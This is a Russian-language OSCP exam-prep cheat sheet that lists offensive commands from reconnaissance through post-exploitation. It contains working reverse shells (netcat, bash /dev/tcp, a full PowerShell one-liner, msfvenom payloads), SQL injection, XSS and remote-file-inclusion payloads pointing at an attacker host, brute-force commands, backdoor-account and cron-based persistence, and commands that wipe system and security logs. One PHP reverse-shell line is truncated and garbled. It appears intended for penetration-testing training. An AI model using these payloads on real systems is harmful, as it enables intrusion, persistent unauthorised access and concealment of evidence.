Назад

OSCP alisher43

Полный арсенал для подготовки к OSCP/OSCP+

Сканирование и разведка

Nmap

# Полное сканирование TCP
nmap -sV -sC -p- --min-rate 1000 -T4 $ip -oA Full-TCP-Scan

# Быстрое сканирование UDP
nmap -sU --top-ports 1000 -T4 $ip -oA Quick-UDP-Scan

# Сканирование уязвимостей
nmap -p $discoveredports --script=vuln $ip -oA Vuln-Scan

# Агрессивное сканирование
nmap -A -T4 $ip -oA Aggressive-Scan

# Сканирование скриптов
nmap --script=default,safe,vuln $ip -oN Script-Scan

# Сканирование конкретных портов
nmap -p 80,443,445,3389 $ip -oN Targeted-Ports

# Обход фаервола
nmap -f --mtu 8 $ip
nmap --source-port 53 $ip

Перечисление DNS

# Перечисление NS, MX, TXT
host -t ns $domain
host -t mx $domain
host -t txt $domain

# Зонный трансфер
dig @ns1.$domain $domain axfr

# Перечисление поддоменов
dnsenum $domain --enum
gobuster dns -d $domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
fierce --domain $domain

OSINT

# Поиск информации о домене
whois $domain

# Поиск поддоменов через сертификаты
curl -s "https://crt.sh/?q=$domain" | grep $domain

# Google Dorks
site:$domain filetype:pdf
site:$domain inurl:(login | admin | dashboard)
site:$domain ext:php

Сканирование уязвимостей

# Nikto
nikto -h http://$ip -output nikto_scan.txt

# OpenVAS
openvas-start
gvm-cli socket --xml ""

Веб-атаки

Перечисление директорий

# Использование gobuster
gobuster dir -u http://$ip -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,asp,aspx

# Использование feroxbuster
feroxbuster -u http://$ip -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50

# Dirb
dirb http://$ip /usr/share/wordlists/dirb/common.txt -o dirb_scan.txt

SQL-инъекции

# Ручная проверка
' OR '1'='1' --
' UNION SELECT NULL, NULL, NULL --
' UNION SELECT username, password FROM users --

# Использование sqlmap
sqlmap -u "http://$ip/index.php?id=1" --dbms=mysql --dbs
sqlmap -u "http://$ip/form/" --forms -D database-name -T users --dump
sqlmap -u "http://$ip/login" --data="username=admin&password=test" --level=5 --risk=3

LFI/RFI

# Проверка LFI
http://$ip/index.php?file=../../etc/passwd
http://$ip/index.php?file=php://filter/convert.base64-encode/resource=index.php

# Проверка RFI
http://$ip/index.php?file=http://$attacker_ip/malicious.php

# Загрузка файла через LFI
curl "http://$ip/index.php?file=/proc/self/environ" | grep -i "user"

XSS

# Простой XSS
<script>alert('XSS Test')</script>

# Обход фильтров
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<script>alert(String.fromCharCode(88,83,83))</script> // HEX-кодировка
<img src="javascript:alert('XSS');">

# Обход WAF/фильтров
<script>eval('al\u0065rt("XSS")')</script> // Юникод
<script src=http://$attacker_ip/xss.js></script> // Внешний скрипт
<details/open/ontoggle=alert('XSS')><summary>Click me</summary>

# Тестирование через прокси
# 1. Настрой Burp Suite как прокси
# 2. Перехват запроса в параметре (например, ?id=1)
# 3. Вставь пейлоад: ?id=1<script>alert('XSS')</script>
# 4. Проверь ответ сервера

Перечисление

Hydra (брутфорс)

# Брутфорс SSH
hydra -l $username -P /usr/share/wordlists/rockyou.txt ssh://$ip -t 4

# Брутфорс HTTP-POST
hydra -l $username -P /usr/share/wordlists/rockyou.txt $ip http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"

# Брутфорс FTP
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://$ip

Перечисление SMB

# Перечисление пользователей
rpcclient -U "" -N $ip -c "enumdomusers"

# Перечисление шар
smbclient -L //$ip -N
smbmap -H $ip -u "" -p ""

# Проверка уязвимостей SMB
nmap --script smb-vuln* -p445 $ip
enum4linux -a $ip

SNMP

# Перечисление с помощью snmpwalk
snmpwalk -c public -v1 $ip

# Брутфорс community string
onesixtyone -c /usr/share/wordlists/seclists/Miscellaneous/snmp.txt $ip

# Перечисление с snmp-check
snmp-check $ip

FTP

# Анонимный вход
ftp $ip
# Логин: anonymous, Пароль: [empty]

# Перечисление файлов
ncftpget -R -u anonymous $ip /local/path

Эскалация привилегий

Linux

# Проверка SUID-битов
find / -perm -4000 2>/dev/null

# Проверка конфигураций
cat /etc/passwd
cat /etc/shadow
cat /etc/crontab
sudo -l

# Проверка writable файлов
find / -writable -type f 2>/dev/null

# Использование linpeas
./linpeas.sh

# Проверка kernel exploits
uname -r
searchsploit linux kernel $(uname -r | cut -d'-' -f1)

Windows

# Перечисление пользователей
net user /domain
net user $username /domain

# Проверка привилегий
whoami /priv
whoami /all

# Использование winPEAS
winpeas.exe

# Проверка незащищённых сервисов
sc query
net start

# Проверка AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Обратные шеллы

Netcat

# Создание обратного шелла
nc -e /bin/bash $ip 4444

# Прослушивание
nc -lvp 4444

# Без -e (альтернатива)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ip 4444 >/tmp/f

MSFvenom

# Обратный шелл для Windows
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -o shell_reverse.exe

# Закодированный шелл
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

# Python reverse shell
msfvenom -p cmd/unix/reverse_python LHOST=$ip LPORT=4444 -o reverse.py

PHP

# Простой PHP reverse shell
& /dev/tcp/$ip/4444 0>&1'");
?>

# Загрузка через уязвимый веб
curl -X POST -F 'file=@reverse.php' http://$ip/upload.php

PowerShell

# PowerShell reverse shell
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('$ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback+'PS> ');$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Пивотинг

SSH-туннелирование

# Локальный порт форвардинг
ssh -L 8080:$internal_ip:80 $pivot_user@$pivot_ip

# Динамический туннель
ssh -D 9050 $pivot_user@$pivot_ip

# Proxychains
proxychains nmap -sT -Pn $internal_ip

Metasploit

# Настройка маршрута
route add $internal_subnet $session_id

# Использование socks4
auxiliary/server/socks4a

Chisel

# Сервер на атакующей машине
chisel server -p 9001 --reverse

# Клиент на скомпрометированной машине
chisel client $attacker_ip:9001 R:8080:localhost:80

Эксплуатация

Metasploit

# Поиск эксплойта
msfconsole -q
search $service_name

# Настройка и запуск
use exploit/windows/$service_name
set RHOST $ip
set LHOST $attacker_ip
run

Exploit-DB

# Поиск эксплойта
searchsploit $service_name $version

# Скачивание и компиляция
searchsploit -m $exploit_id
gcc exploit.c -o exploit

Manual Exploits

# Проверка EternalBlue
nmap --script smb-vuln-ms17-010 -p445 $ip

# Использование эксплойта
python eternalblue_exploit.py $ip

Пост-эксплуатация

Сбор информации

# Linux
whoami
id
uname -a
cat /etc/os-release
ps aux
lscpu

# Windows
systeminfo
netstat -ano
tasklist /v
wmic product get name,version

Сохранение доступа

# Linux: добавление пользователя
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd

# Linux: cron для персистентности
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/$ip/4444 0>&1'" >> /etc/crontab

# Windows: добавление пользователя
net user backdoor password /add
net localgroup administrators backdoor /add

# Windows: запланированная задача
schtasks /create /sc minute /mo 1 /tn Backdoor /tr "C:\path\to\shell.exe"

Очистка следов

# Linux
history -c
echo > /var/log/auth.log

# Windows
wevtutil cl security
wevtutil cl system